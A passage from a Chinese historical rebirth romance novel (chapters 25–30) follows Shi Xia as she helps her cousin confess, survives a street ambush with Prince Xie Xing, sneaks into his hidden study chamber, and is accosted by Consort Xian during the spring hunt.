二人一拍既合,决定找个机会让两人多接触接触。
许临想的是谢行之前这么努力都被回绝了,这次好不容易有点希望,他得帮忙。
而时安则是觉得,时夏之前喜欢了谢行这么多年,但谢行没有什么回应,时夏现在装装不喜欢也是应该的。
于是,一个约上谢行来食鼎楼谈事,一个一大早将人拉起来梳洗打扮。
“诶,都点了些什么菜呀?”时安询问。
“还未曾点菜,就等着两位小姐来点呢。”许临和时安这边一片和睦。
而时夏和谢行则是一片沉默。
时夏以为时安最多和许临来一场偶遇,然后再顺势一起吃饭。
可万万未曾想到,两人竟然是约好了的。
他们什么时候这么熟了。
谢行并没有想到许临会喊来两人,他只当是有什么要紧的事情要谈。
想到昨天再云杉纺约定好的,他只默默喝茶。
时安和许临虽在点菜,但视线一直时不时飘向两人。
见两人都同时选择了沉默,不由得着急起来,这可是好不容易找到的机会啊!怎么能浪费了。
“夏夏,我......去喊小二加点茶水,你看看点些什么。”说罢,时安就把菜单递给时夏,站起身,把许临也拉了出去:“你来帮忙!”
“诶!”时夏想把两人喊回,直接让兰香他们去不就行了?
可两人已经迅速离开了雅间。
无奈,时夏看起了菜单。
几乎是下意识的,她就把谢行喜欢的菜勾选上了。
反应过来这一点,她一僵,想要去掉。
“时小姐的口味倒是和本王相近。”谢行已经看见她勾选的菜。
“景王也爱吃这些菜吗,真巧,真巧。”时夏讪笑。
“不过,不知本王有没有记错。”谢行气定神闲,只是眼神里多了几分探究:“这茄子......时小姐幼时似乎并不爱吃。”
在好几年前的一次宫宴。
时夏年纪还很小,宫宴里上了道茄子,时夏一口不肯吃。
有人想和她打好关系,正巧夹了一块茄子给她。
她被宠着长大,加上年纪小,说话和现在的高希一样直接:“我不要!难吃!”
当时动静并不小,谢行自然也注意到了。
他当时在心里暗自腹诽,有得吃就不错了,竟然这般挑。
时夏显然也想起了,小脸上忍不住染上了几分绯红。
更显明艳可爱。
“我,我小时候不喜欢,现在喜欢了。”时夏着急解释,不自觉的用上了“我”。
“行。”谢行轻笑:“那时小姐一会儿可得多吃点,这食鼎楼的味道不输宫里,时小姐可别浪费了。”
“......自然。”
很快,时安和许临也回来了。
菜也逐渐上齐。
“王爷,这菜怎的全是你爱吃的?”许临含笑:“您也不让时小姐点点。”
谢行没说话,而是把目光投向时夏。
时夏低着头,默默开口:“都是我点的。”
许临哑然了一瞬,又笑:“时小姐爱吃的菜都和景王一样,真是有缘。”
“哈哈。”时夏讪笑两声。
她和谢行可没有缘,他们喜欢的菜可谓是大相径庭。
“时小姐既然喜欢,可得多吃点。”谢行的目光尤为重的落在的那盘茄子上。
“多谢,多谢,景王殿下也是。”时夏勉强提起笑容,夹了一筷子茄子放到碗里。
然后,便和碗里的茄子大眼瞪小眼。
真的要吃吗?可是好难吃啊。
她皱着一张小脸,咬牙夹起茄子,怎么也张不开口。
终于,她深吸一口气,张嘴。
突然,手肘被一股力量突如其来的力量撞击。
手里的茄子就这么飞了出去。
她目瞪口呆。
扭过头,看见的是一脸错愕的许临。
许临连忙道歉:“抱歉抱歉,刚才手抖了,不小心撞到时小姐了。”
“无事。”时夏还得感谢他呢。
许临转过头,一脸不可置信的看向谢行。
谢行却低头,一个眼神也不给他。
难道他刚才感觉错了,谢行没有踢他?
他端起茄子那盘菜:“时小姐,抱歉啊刚才,我把这个菜放你面前吧,这样你也好夹一些。”
突然,又一股大力袭来,手中盘子径直飞出,掉在了地上。
三人都目瞪口呆,除了谢行依旧气定神闲,责怪许临:“这菜浪费了,你负责今天的消费,还有盘子。”
许临这次相信他没有感觉错,就是谢临故意的!
他刚想开口,谢临一个眼神冷冷睨来。
他默默低头。
-
距离上一次和谢临见面,已经过去好几天了。
谢临答应的帮她查明谢蕴的事情却迟迟没有消息,按道理来,谢行不应该是这个速度。
她不再等待,拿出纸笔,行云流水写下一封信:“兰香,帮我送去景王府。”
很快,谢行回复了,却只有短短几个字:“狩猎。”
几个字却让时夏稳住了心神,再过不久,就是春狩。
人群杂乱,倒确实方便一些事情突然暴露。
说到狩猎,前世她只会姑娘家们最基础的琴棋书画。
嫁给谢临后,他嫌弃自己身子差,体质弱,有空时便带着她锻炼。
后来还教了她一些基本的箭术,虽然最后没有人派上用场,但这一次......倒是有机会玩玩。
这样想着,时夏心里忍不住多了几分期待。
其实她并不是传统意义上的大家闺秀。
除了在是琴棋书画上面,她对很多都感兴趣,想去探索,比如狩猎。
只是可惜之前一直没有机会。
-
“夏夏,再过几天,我就得走了。”时安抱着时夏,依依不舍。
时夏这才忽然惊觉,时间过得这么快吗?
二姐姐明明才回来没多久,怎么又要离开了?
“夏夏,你说,我下次回来时,许临会不会已经娶妻了?”时安有些低落,她其实和许临并没有什么进展。
许临,似乎满心都铺在了朝堂上。
明明她们关系看起来这么亲近,偶尔见面也能愉快的聊几句。
可她对许临的暗示,许临似乎都当作没有明白,礼貌,客气,又梳理。
时夏轻轻的拍了拍时安的肩膀,她记得前世许临一直没有娶妻:“二姐姐不用担心,他会在的。”时夏回答的无比肯定。
第25章 逛京城
“真的吗?”时安有些不敢相信。
许临这么优秀,长得好又有才华,她下次回来,都不知道是什么时候了。
可能许临都已经有孩子了。
“真的。”时夏安慰时安:“放心二姐姐,我一定帮你好好看着他!”
“夏夏,我想好了。”时安突然抬头,看向时夏:“走之前,我一定要给许临说清楚,不管是否,我都要一个答案。”
时安向来是这样。
敢爱敢恨,她要一个直接的答案,无论结果是什么。
“好,我陪你。”虽然前世许临一直不娶妻,能得到答案的几率很小,但她还是想陪时安试一下。
-
两日后,时安盛装打扮。
明日她就要离开京城了,今日便是最好的时机。
就算许临拒绝了,她也可以坦然离开,没有负担。
“夏夏,我有点紧张。”时安刚刚走出时府门口,还忍不住担心。
高估自己了。
“二姐姐,没关系的。”时夏只能尽力安抚,毕竟她从前也是个失败者,确实没有什么经验能够传授给时安。
两人到达食鼎楼时,许临已经等着了。
“时二小姐!”许临挥手:“走吧,王爷已经在等着了。”
“王爷?”时夏和时安两个人都懵了,谢行来干嘛?
“对啊,快上去吧。”
时安面无表情,眼神呆滞。
谢行在这里,她还怎么说得出口?
早知道不告诉许临时夏也要来了,亏他还是状元呢!一点都不能明白她的意思!
“夏夏,帮我。”趁着许临没有注意,时安悄声开口。
时夏胡乱点头,她也没有想好该怎么把谢行喊走。
谢行端坐在雅间里,进来的三人,一人白衣翩翩,两位两人则一个比一个心虚。
甚至都不敢看他。
他一身墨衣,身上的气势哪怕是坐着也格外凸显。
指尖敲了敲桌面:“说说吧。”
时安一愣:“王爷.......你都知道了?”
谢行又把目光扫向许临:“你呢,不说点什么。”
“王爷......”他犹豫着开口:“我不应该骗你只有我,然后让时二小姐把时小姐带来。”
谢行气笑了。
“本王从未见过你如此有主意。”
时夏和时安则是各自松了一口气,太好了,不是她们想的那样。
“王,王爷,臣女有一事相求。”时夏看见时安使的眼色,赶紧道。
“说。”谢行好奇,时夏有什么事,居然能联合许临来找他。
“此事事关重大,还劳烦王爷和我出来一下。”说罢,时夏便率先出门。
谢行蹙眉,但还是跟着出去了。
总归时夏闹不出什么大事,看看也无妨。
于是,雅间内便只剩下了时安和许临两人。
“呃......”有了合适的时机,时安一时间却不知道该如何开口:“要不先坐?”
“时二小姐也坐。”许临一向有风度。
“许公子,你可定有婚约?”
“并无。”
“那你觉得......”她的话还未说完,便被许临含笑眼眸打断。
“许某暂时还未打算考虑这些,家中母亲也是同意了的。”他依旧含笑,风度翩翩。
时安的笑僵了一瞬:“挺好,挺好的,像许公子这样有才华的人,就应该好好为国效力。”
她想过许临或许会拒绝,但未曾想到他拒绝的如此利落。
那有怎样。
她可是时家名正言顺的二小姐!在战场上半点不输男儿。
怎么会因为这么一个男子就伤心呢?那也太不符合她的风格了。
-
时夏出去后,一心只想着把谢行带远些,于是便闷头往外走,完全没有停下来和谢行说话的意思。
“时夏。”男人低沉声音传来,时夏这才反应过来。
“王爷。”时夏讪笑。
“现在可以说了吧,何事。”
“嗯......王爷可否陪臣女逛一下这京城,臣女要买些东西,可这不三皇子的势力还未离开,臣妾怕那日之事又发生。”时夏不知道时安需要多长时间,只能尽力多拖一会儿。
谢行淡淡掀起眼皮:“时小姐可真是有闲心。”
“没有没有没有,臣女是认真的,而且那日,殿下不是也说,整个京城,只有您能护得住我嘛。”她笑了一下:“臣女这不就来寻王爷求庇护。”
谢行没有说话,时夏胆战心惊的等着,死死的观察着谢行的表情,生怕谢行一个不乐意就转身回食鼎楼了。
终于,谢行开口了:“走吧。”
他到要看看,时夏究竟想利用他做什么。
“多谢王爷!”
于是,两人就在这京城街中逛了起来。
时夏为了拖延时间,总是东看一下,西看一下。
“王爷,您说这个怎么样?”
“丑。”
“王爷,这个好好吃!”
“腻。”
“王爷,这个好好玩!你快看!”
“幼稚。”
......
哪怕时夏使出浑身解数,谢行也依旧冷漠。
终于,时夏放弃了,她面无表情。
二姐姐,我真的尽力了。
“不看别的了?”谢行看着手上一堆杂物。
“不了。”时夏摇头。
“那轮到我了。”谢行不再和时夏并行,而是稍微向前一些,转身,站在时夏面前,挡住她前进的步伐:“说说吧。”
“什么?”时夏刚才满心思的想着拖着谢行,消耗了太多精力,现在大脑反应有些迟钝。
“今日,你一直不愿让我去食鼎楼,是为何。”他淡淡开口,早已看出时夏的目的。
时夏一惊,强行稳住心神:“景王殿下......您想多了吧,怎么可能呢?”
她伸手要拿过谢行手上的东西:“幸苦王爷了,我自己来拿吧。”
却被谢行抬手躲开:“许临不会答应的。”
“......王爷?”谢行怎么知道二姐姐是特意去找许临,又凭什么断定许临不会同意。
“歇了你们的那份心思吧。”他淡声:“许临若是愿意娶妻,早在两年前便定亲了。何至于等到今日?”
“王爷想多了,我们没有。”
“最好是这样。”
“那王爷呢?为何之前那么多年都没有和林姑娘定亲。”时夏忍不住反问。
只见谢行眼神一凛,手里的东西被扔向对面,另一手搂住时夏的腰,一把往旁边拉去。
下一秒,长箭从时夏发丝划过,带走半段青丝。
第26章 毒
人群瞬间骚乱起来。
街上的百姓大都是普通人,没有怎么遇见过这样的事件。
顿时尖叫声此起彼伏,陷入混乱。
藏在暗处的人也不再躲藏,这是最后一次机会了。
后面,便不好动手了。
刹那间,数十个黑衣人从四面八方冲出来。
谢行将时夏拉在身后:“好好跟着我。”
那些人是冲着时夏来的,让她一个人躲好自然是不现实的。
时夏点点头,不自觉的抓着谢行的衣服。
谢行抬手向一人用力打去,一下打飞一人,夺过手中箭。
有了武器后,谢行动起手来也方便了许多。
一下又一下,剑光交错。
不多时,地上便横七竖八躺着人。
剩下的几人似乎也有些犹豫了,举着剑,不知到底还要不要上前。
谢行没有给他们继续思考的机会。
“等等。”谢行上前时,却被时夏拉住。
中间覆面那人,有些熟悉。
她想起来了,前世,谢行有一次外出中毒,那是他唯一一次危及性命,就是因为那个人。
那人极擅长用毒。
思及此,她赶紧将谢行往侧边拉。
虽她讨厌谢行,但现在谢行对她,对时家还有用,不能出事。
果不其然,下一瞬,几根银针就飞过,若不是时夏刚才拉了一下谢行,怕是正中眉心。
谢行自然也想到了这一点,眼神晦暗几分。
“殿下!”谢行早已让暗卫去衙门,这里人太多,暗卫不适宜出现。
捕快飞奔而来。
中间那人眼神微敛,踢开身旁的同伴,一下便飞上房顶,不见。
“追!”把剩下的几人按住后,几个捕快也跟着那人的方向过去。
“王爷今日受惊了。”领头捕快作揖。
“带下去吧,好好审问。”谢行只丢下这几个字。
时夏忍不住思考,明明谢行刚才是可以抓住逃走那人的。
她也看见了他下意识的动作,可不知为何,又压了下去。
“现在可以回去了?”谢行走在前面。
时夏快步跟上。
突然,她看着谢行左手胳膊处:“王爷,你的胳膊......”
虽然谢行穿的是墨色,并不明显,但时夏还是能隐隐约约看出有血液渗出
“无事。”他声音依旧平稳:“我记得那日,你说要亲自来府上感谢。”
时夏一顿,她给忘了:“因为......臣女一直在找一个合适的谢礼,只是一直未想好什么才配得上王爷。”
“本王还以为时小姐迟迟不来是忘记了呢。”谢行没有拆穿她:“那本王就期待着你的谢礼了,算上今日的一起。”
时夏只觉得两眼一黑。
她就不该说!
-
回府后,时安一直强压着的情绪终于爆发了:“夏夏......”
她眼眶有些红。
再怎么也是第一次这样向一个男子示好,虽然心里早已答案,可难过自然是避免不了的。
饭桌上两人几乎没有什么互动,这和往前全然不同。
时夏自然也猜到了结果。
她抱着时安:“二姐姐,都是那许临眼光不好。”
其实她本身就这么觉得,二姐姐这般好的女子,许临居然也拒绝。
“二姐姐,你这么优秀,以后有的许临后悔的。就连一个眼神的施舍都需要他哭着求着。”时夏安慰。
其实时夏重生之后,也是这样想。
她迫切的想要证明自己不需要谢行,自己不喜欢谢行了。
所以她刻意避开谢行,去永安寺。
她主动提出要和许临相看,证明自己并不是非谢行不可。
她最初拒绝谢行的合作邀请,也是想要证明,谢行并不是她的唯一选择。
可现实是,和谢行合作,是她目前最好的选择。
她忍不住悲从心来。
若是她没有能在一年内偷偷找到合适的男子定亲怎么办?
真的又要像前世一样,重蹈覆辙吗?
可时家怎么办?她必须要救时家。
想到这里,她也有些忍不住了,一滴泪水滑落,其他泪水也跟着流出。
两个女孩子就这么互相抱着哭。
-
“对了,夏夏。”时安缓过情绪后突然想起:“你还记得我之前给你说的,父亲发现的特别有能力的人吗?”
“自然。”那人在庆功宴那日被皇帝封了个小将军的职位,也算是年少有为。
“不知为何,这次陛下没有让他和我们一起离京。”时安蹙眉,有些担忧:“他这人没有太接触过朝堂的事,性格也直接,容易说错话,若是你有空,可教教他。”
好歹是自己家带来的人,要是害得人家不小心丢了性命可就不好了。
“我会的,二姐姐放心。”时夏自然猜到了原因。
时家本就手握兵权,现在又出了个将军。
皇帝需要一个能制衡时家的人,那小将军就是最好的人选。
没有背景,没有权势,只知行军打仗,这样的人最好收买。
只是时夏没有想到,在这么早,皇帝就已经在谋划了吗。
她有些心惊,这只是她知道的。
皇帝一向做事周全,就像林家,几日就没了,连挣扎的机会都没有。
不知道皇帝,在这之前已经做了多少了。
翌日。
时安和大伯父一家要离开了。
时家人自然都要送行,就连一向顽劣的时煜都安安静静的跟着。
长辈们互相叮嘱,小辈们自然也是。
时夏站在马车前,拉着时安的手:“二姐姐,边境条件毕竟不比家里,你这一次离开,又不知道要多久了。”
两人本就感情好,才见面不过区区一月,时安就又要离开。
两人眼中都蓄满了泪水。
“你在家里,要好好陪伴祖母。”时安一向能言善道,可面对分别,也不知该如何:“还有,家里,二姐姐最放心不下的就是你了。”
“你打小就生的好看,学习能力又好,说话好听,大家都喜欢你。”时安又补充:“可你眼中始终只有景王殿下,先前你说你不喜欢景王了,二姐姐不知道你是在赌气还是真的放下了。”
“但是二姐姐希望,无论如何,我们夏夏都要快乐。”
“二姐姐......”两人抱在一起:“我命人在马车里准备了许多你爱吃的糕点,记得吃。还有前些时日,你说我的衣服好看,我找人按照你的尺寸制了几套......”
时夏滔滔不绝,叮嘱着。
得出发了。
时安上了马车,掀开窗户帘子。
“二姐姐,一路顺风。”时夏挥挥手。
马车已经缓缓出发,逐渐变小。
城楼上,赫然站着一白衣男子,也注视着那逐渐远去的马车行列。
第27章 答谢
时夏这次没有把要去谢行那里道谢的事忘了。
可究竟要送个什么礼物呢?她那日那样说了,就不太好随便从母亲那里要个东西做礼物了。
“兰香,收拾一下,出去转转吧。”她也想不出什么,只要出去逛逛看了。
书画店?
时夏突然想起了时安让她照顾的那个小将军。
皇帝也给他赐了个小宅子,虽然位置有些偏僻,但他并不嫌弃。
她昨日去拜访了一下,简单谈论了几句便知道了大概情况。
他叫顾连竹,这名字倒是和他的性格不符。
听起来挺聪明,但其实是个傻的。
顾连竹的肤色和京中普通男子相比肯定是要黑些的,满身肌肉。
“顾将军如此年轻,便深得陛下看重。”时夏习惯性的吹捧一下。
顾连竹似乎是没怎么被这般夸过,小麦色的俊脸一下红了:“多谢。”
他也不知在京城中,别人夸了他得夸回去。
“不知顾将军家中是作何的?将你培养的这般厉害。”这话倒是实话,用兵之道,一般的人家没有刻意培养的话是很难有所成就的。
而且像顾连竹这种要上战场杀敌的就更不同了。
顾连竹挠了挠头:“我幼时父亲和母亲便意外去世了,我便靠帮忙做苦力为生,后来运气好被时将军带去了军营。”
“抱歉,是我失言了。”时夏连忙道歉,眼里也多了几分无措。
怪不得,上一世顾连竹的府里除了下人,始终只有他一人。
“无事,都是很多年前的事了。”顾连竹笑了笑,似乎完全不为此事所烦扰。
“那......顾将军可有想过未来作何打算?”时夏询问。
“什么意思?”顾连竹的眼神清澈:“陛下不是让我当这个什么将军?那我便好好打仗,保家卫国。”
时夏沉默,不忍告诉顾连竹,在皇帝眼中,他不过是个用来牵制时家的棋子。
幼时,大伯父抱着二姐姐,笑着说要保家卫国。
可现在他的一片忠诚却也成了导致现在局面的导火索。
皇帝不会允许时家这么继续发展下去的。
时夏回过神,走进书画店。
有的事情,她可以教顾连竹,但有的事情,需得顾连竹自己探索。
她只能提供一些微薄的帮助罢了。
她挑了基本基础的书:“兰香,回府之后,你把这些书和父亲的兵书给顾将军送去吧。”
“小姐?”兰香震惊,时父收藏的那些书都是有市无价的......
“无事,既然大伯父放心他,那我们也没有必要防着他,说不定,以后他还会帮我们大忙呢。”
-
时夏在外逛了一圈,也依旧没有看到合适的礼物送给谢行。
谢行是皇子,什么都用的最好的,也不会缺什么。
她记得前世谢行很爱书画,她那里还有些名家真迹,现在她也没什么功夫去赏,要不,就送这个?
时夏动作迅速,很快找到她最不喜爱、最繁复的一套,就这套吧!
翌日。
时父带着时夏出门,前方景王府。
景王府的人似乎早有预料,管家早早的便在门口候着了。
“时大人,时小姐,这边请。”管家带路。
时夏忍不住打量这景王府。
这是重生后,她第一次来到这熟悉又陌生的地方。
这里的每一条路她闭着眼睛都能走,唯一的区别也就在王府的装束吧。
她一向喜欢各种好看的东西,而谢行又一向懒得管这些。
所以她刚嫁入王府时,便被府里朴素的风格惊呆了。
也不能叫朴素吧,只是说,所有的东西都是用的最普通的款式。
就连花园,也只有一种花,充分感受到王府主人对这些的不在意。
但时夏在意啊。
所以大婚之后,她便着手操办起来。
各种各样的花草雕饰被她带回来,重新打扮景王府。
在后面的几年内,她偶尔看到好看的摆件也会带回王府。
整个王府被她打扮的精致极了,和现在相比真是翻天覆地。
而谢行忙,自然不会管她。
或者说,他懒得将时间浪费在时夏身上。
待客厅很近,谢行已经在里面坐着了,手里还拿着一本书翻看着。
时夏暗自得意,果然,谢行就是喜欢看这些,她送的没错。
“时大人来了。”谢行放下书,起身。
“景王久等了。”时父笑:“之前的事,多亏了景王殿下,不然我这闺女,可不知......”
想到这里,时父也有些心有余悸。
时夏最开始并没有告诉他们发生了什么,而是在一切都尘埃落定之后才说的。
他和江氏皆是听得心里一惊。
他们知道三皇子不是个好人,但没有想到三皇子这么着急。
这么快就动手,甚至还是在给时家的庆功宴上!
而且,没有得手,被时夏反将一军之后,恼羞成怒,竟然两次派人想要杀时夏。
“时大人言重了,不过举手之劳罢了。”谢行现在倒是能装:“且时小姐自己也很聪明,那晚若不是时小姐自己逃出来,我也不能帮到忙。”
时夏就静静站在一旁,听两个人互相客套着。
“时小姐可是累了?”谢行突然将话题转向时夏:“正巧,也快到饭点了,二位赏脸,留下来吃个饭?”
时夏蹙眉,谢行这样说,一定有阴谋。
于是她果断摇头。
可时父的答案却不一样,他们本就刚来不久,说完几句话就离开也不妥,吃顿饭的时间正好:“那便叨扰王爷了。”
“无妨。”
于是,几人就这么去往了饭厅。
谢行还未娶妻,自然也就没有小妾什么的。
三个人坐在饭厅里,显得空荡荡的。
不过景王府的膳食,也真是不错,和食鼎楼差不多。
看来,食鼎楼估计真的也是谢行手中的。
时夏暗暗告诉自己,以后要谈什么重要的事,食鼎楼也不能去。
时夏吃饭速度本是比较慢的,可谢行和时父两人一边吃饭,一边聊天敬酒的,时夏都吃饱了,二人还在继续。
她有些撑,纠结半晌才开口:“殿下,臣女能否在府中花园逛逛?”
“自然。”谢行点头,自然没人说什么。
只有时父笑着说了句:“你这孩子,真是坐不住。”
她轻车熟路的走到了花园,还是忍不住感叹,这些花,真丑。
他记得谢行在府里养了许多暗卫,不知现在有没有盯着她。
思及此,她突然往便上崴了一下:“嘶。”
第28章 书房
“小姐!”兰香赶紧上前扶住时夏。
时夏一脸痛色:“兰香,你回去问问管家,府里哪里有伤药。”
“小姐我先扶你去坐着吧。”兰香担心时夏非常疼。
时夏摇摇头:“没事,你先去问,亭子就在那里,我一个人慢慢挪过去就好。”
兰香只点头,迅速往回跑。
时夏时夏扫了一圈,没有人。
她扯扯裙子,还真有点疼,不过面对谢行这样的人,不来真的容易出事。
她提着裙子,一瘸一拐的向亭子的反方向走去。
那便,是书房,远离花园这样的热闹之处。
和简约的王府比起来,书房显然要丰富许多。
谢行的书房很大,是整个王府最大的房间了,甚至还分了里外。
外屋摆满了各种书籍文物,而里屋则是时夏这次前来的目的。
谢行书房的里屋摆放的是朝堂政务的相关资料,他一向是一个自律的人,所以东西虽然繁多,但都是按照时间类别分门别类放好的。
她记得前世,谢行这里明明有可以为时家证明清白的相关证据,她苦苦哀求,谢行却不肯。
既如此,她只能赌一把了。
时夏认真的找寻起来,可随着时间过去,她越来越焦急。
怎么会没有?
一点关于时家的相关资料都没有,这不可能啊。
突然,她想起什么。
暗室?
是的,谢行还有一个暗室,专门用于储备重要资料。
前世谢行并没有打算告诉她,是一次她来书房找谢行,正巧看见谢行准备进入暗示。
“出去!谁允许你随便进来的。”当时的谢行声音严厉,眼神冰冷。
想到这里,时夏往左侧的书架走去。
如果没记错的话,当时谢行就是把这书架拉开了。
她上前,轻轻试了试,果然不是简单使用力量就能打开的。
但机关设置在哪里呢?
她努力回忆着。
这旁边也没有什么特别的摆件呀。
她靠在一旁的柱子上,仔细观察着周围。
难道被书挡着?
不对,谢行当时什么也没有拿着。
难道是这柱子?
她敲了敲,实心的。
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>时夏有些着急,她出来这么久了,兰香肯定发现她不见了。
若是还不找到,被谢行发现她偷偷来书房,还试图进入暗室......
想到谢行上一世处罚那些人的方式,时夏不禁浑身一抖。
突然,一抹亮色闯入她的视线。
这蜡烛......
她进来有一会儿了,别的蜡烛明显要燃烧得多一些,按道理,房里得蜡烛都是一起换得。
就算有不同,也不会相差太多。
但别的蜡烛都已燃烧了三分之二了,它却还剩了一半。
想到这,时夏不由得伸出手,试探性得靠近。
不烫。
她一喜,扭动蜡烛。
果然,书架连带着木墙缓慢向旁移动,显露出了里面得暗室。
时夏惊喜,赶紧进去。
可这暗室门该如何关?时夏并没有在暗室里看见类似得蜡烛。
甚至因为没有通窗户,暗室里都没有蜡烛。
没有办法,时夏只好不管开着得门,抓紧时间寻找起来。
“时夏。”突然,一道冰冷声音从身后传来。
第29章 出发
时夏浑身一僵,这个声音,除了谢行还能有谁?
她嫁给谢行多年,这个语气一听就是在发怒边缘了。
时夏承认,这样一个时候就急急忙忙的来书房找证据是她太着急了,但这次不来,以后,她说不定都不会再有机会来景王府了。
她感觉到那人的逐渐靠近。
终于,她还是转过了身。
谢行离她很近了,两个人几乎要贴在一起。
她感受到了谢行审视的目光,可这次,她不敢看过去。
整个空间一片死寂,时夏低垂着眸子,连呼吸都不敢太用力。
可逃避是没有用的。
温热、带有薄茧的大手掐住了她的下巴,逼迫着她抬起头。
逼迫着她去面对。
两人就这么久久对视着,久到时夏觉得眼睛都有些酸涩了。
谢行终于开口。
“在找什么?”
“我......”时夏不知道怎么开口,怎么解释她突然来了书房,怎么知道的书房里有暗室,又是什么目的。
毕竟,在这京城,无论是哪个世家大族,书房都是不能让人轻易进的。
最多也就在书房的外屋谈谈政务,其余的便不能再多了。
谢行却突然松开了她:“不要有下次。”只是眼神依旧冰冷。
感受到手上的力量消失,时夏一愣。
谢行......竟然放过了她?
虽然感觉很不可思议,但时夏反应过来之后,自然是慌忙跑走。
可不能给谢行后悔的机会。
谢行盯着时夏远去的背影,目光幽深。
他倒是想知道,时夏,怎么会对王府这么熟悉。
-
夜晚,烛火跳跃,墙上映照着两个人影。
女人肤若凝脂,脸颊上带着绯红,被高大的男人抱着,走向暗室。
她被吻得有些迷糊,呼吸急促,并没有注意到男人是怎么开的暗室门:“谢行......这里,是书房......”
女人的脸美丽而清晰,是时夏,是更加成熟的时夏。
“你不是喜欢来书房?”男人声音低哑而性感。
似乎是为了惩罚她未经允许,闯入书房,男人今晚的动作带有一些惩罚性质。
书房外雨打绿叶,里面呼吸交缠。
不知过了多久,时夏嗓子都哑了,风雨才结束。
谢行突然睁开双眼,屋里一片漆黑,只隐隐有月色透入。
他怎么会梦到时夏?而且还是这种梦。
他并不认为自己对时夏有这方面的想法,无论是合作、蓄意接近,又或者是想订婚,都不过是为了利益。
-
很快,便到了春猎时日。
毕竟是皇帝出行,无论是从人数上还是气势上,都是无可比拟的。
春猎出行人员众多,除了有朝中大臣和贵女公子们以外,妃嫔以及皇子公主们自然也是要去的。
相比起来,贵女们的地位便显得无足轻重了,只是顺带带上,长长见识。
时家虽然地位高,但时夏的马车也是在中后方的位置。
和其他季节相比起来,春猎其实要简单许多。
春日正是繁衍的时间,所以春猎大都是意思意思。
一般也就到达猎场的第二日,会让大家进行狩猎,只能狩猎未怀孕的野兽。
也不会进行大批量的狩猎,很多人都不会认真狩猎,这更多的是让长久被拘在宫里、京城的人们一个出来放风的机会。
在后面几日,基本就是一些小游戏,小比赛,和狩猎并不会有太大关系。
马车颠簸,专门围设的狩猎场并不近。
直到天色逐渐黑沉,才终于到达。
时夏从马车上下来,揉了揉酸涩的胳膊和脖子,原地伸伸腿,活动活动。
一整天都坐在这马车里,哪怕**担心她累,在马车里垫了许多软垫,一天下来,身体的疲惫也是不可避免的。
而前面,时煜和时父坐的一辆马车,虽远远不如时夏的马车舒服,但时煜却依旧神采奕奕,精神气十足。
要不是年龄还小,不被允许,他甚至不想坐马车,想要自己骑马的。
皇帝念在今日都在赶路,也只简单说了几句话,便让众人暗分配的房间各自下去休息了。
时夏目光在周围探寻了一圈。
谢行受皇帝看重,站在最前方,也住在除皇帝之外最好的房间。
本来谢行答应这次春猎的时候,想办法帮她
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证明走水事件和六公主有关。
但那日书房之事发生之后,不知谢行还会不会......
而且现在她也不敢上前去询问谢行。
就怕谢行不仅不帮她了,连之前放她一马的决定也反悔。
时夏正准备收回目光,却见谢行似有所感般转过头,视线相接。
时夏顿时一阵心虚,低头。
而谢行在目光撞上的一瞬便收回了目光,疾步离开。
那晚的梦给谢行带来了莫大的印象。
刚才看到时夏的一瞬间,他便不受控制的想到了当时的画面,以及时夏娇软的声音,哭着,求着......
他闭了闭眼,强迫自己将这些抛出脑后。
“诶,王爷,你走这么急做什么?”一旁的许临跟上:“我看时小姐在那里,不去打个招呼?”
“闭嘴!”谢行的语气带上几分烦躁。
许临轻“啧”一声,得,他们两又开始了。
时夏试探性地抬起头,男人原先站着的位置以及空下,剩着三两人谈论着什么。
她没有在意,抬步准备跟着负责的宫女往自己的房间走去。
大腿却突然一紧,九公主不知何时跑了过来,正抱着她的大腿:“姐,姐,走......”
她和九公主自庆功宴三皇子事件之后便没有再见过面了。
贤妃以三皇子离开,自己身边只剩下九公主为由,把九公主从太后宫中接了回去。
因着三皇子的事情,贤妃可以称得上是恨时夏了。
时夏自然也就没有再去找过九公主了。
不知时不时时夏的错觉,九公主似乎瘦了些,原先在太后宫里养出的婴儿肥似乎消了许多。
时夏低头,捏了捏九公主柔软的小脸:“九公主怎的一个人在这?我送你回去找贤妃娘娘好不好,一个人很危险的。”
说着,时夏就要扯下九公主还抱着自己大腿的小手。
可九公主却抱得更紧了,张开嘴,努力想要说什么,却又只能说出几个简单的音节:“不,她,打......”
时夏心里一惊,伸手要拉起九公主胳膊上的袖子。
突然,一道凌厉女声传来:“你在做什么!”
第30章 冲撞九公主
时夏心顿时一惊,是贤妃。
她垂下手,恭谨地向不远处怒气冲冲走来地贤妃福身:“娘娘。”
贤妃横眉冷对,伸手强硬扯过抱着时夏不肯松手地九公主:“过来!”
又瞥了一眼时夏:“冲撞九公主,来人。”
时夏错愕,她知道贤妃肯定会对她出手,可......好歹是在宫里这么多年的妃子,竟然用这么直接的法子,一点也不遮掩。
几个宫女将时夏团团围住,贤妃留下一个老嬷嬷,便扬长而去。
“时姑娘,请吧。”嬷嬷面色阴沉。
兰香把时夏护在身后:“我家小姐......”
“闭嘴!”对方却直接伸手,一个巴掌要给兰香扇过去。
好在时夏及时把兰香往后拉了一下,嬷嬷一瞬未收住力,狠狠的往前扑去,摔在地上。
这下,她脸色更加阴沉了,被旁边的小宫女扶起,恶狠狠的看向时夏。
“时姑娘,你可知这是哪里!”
“倒是没想到一个嬷嬷,也能对我时家动手了?”时夏抬眼,反讽讥问。
刚才贤妃在,她可以忍着。
但这不过是一个嬷嬷,在贤妃手下又如何?
就算是皇帝来了,也没有理由说她冲撞九公主,当初让她时常陪伴九公主的命令何时皇帝下的。
“你冲撞了九公主!”嬷嬷虽有一瞬的心虚,但想到皇帝这么多年,对贤妃不说是宠爱,但也是极好的了,又硬气了起来。
“嬷嬷若是这样说,那我可就委屈了,不若......让陛下来评评理?”时夏冷眼。
嬷嬷眼底闪过一瞬光芒,随即咬牙,瞪向四周围着时夏的宫女们:“给我带走!”
时夏皱眉,她们若是直接动手,双拳难敌四脚,她自然毫无胜算可言。
兰香没想到她们竟然赶这样,气得脸都红了,她用力的想要把靠近时夏的宫女们都推开:“你们干什么!不许碰我家小姐!”
可她们只有两个人,推开这个,那个又靠近。
体力也逐渐消耗,时夏疲惫,又有些无助,贤妃要把她带走做什么,可想而知。
若是真让她如愿......
在再一个宫女涌上来,而时夏已经使不出半点力量了。
“时姑娘,认命吧。”嬷嬷冷笑,夜色黑沉,只有几缕月光洒在她脸上,显得格外可怕。
突然,刀刃拔出的声音起,时夏只感觉抓着自己的几双收突然消失了,她顿时无力,竟然要往地上摔去。
却被一双温热大手搂住:“站稳。”
声音冰冷而又安全。
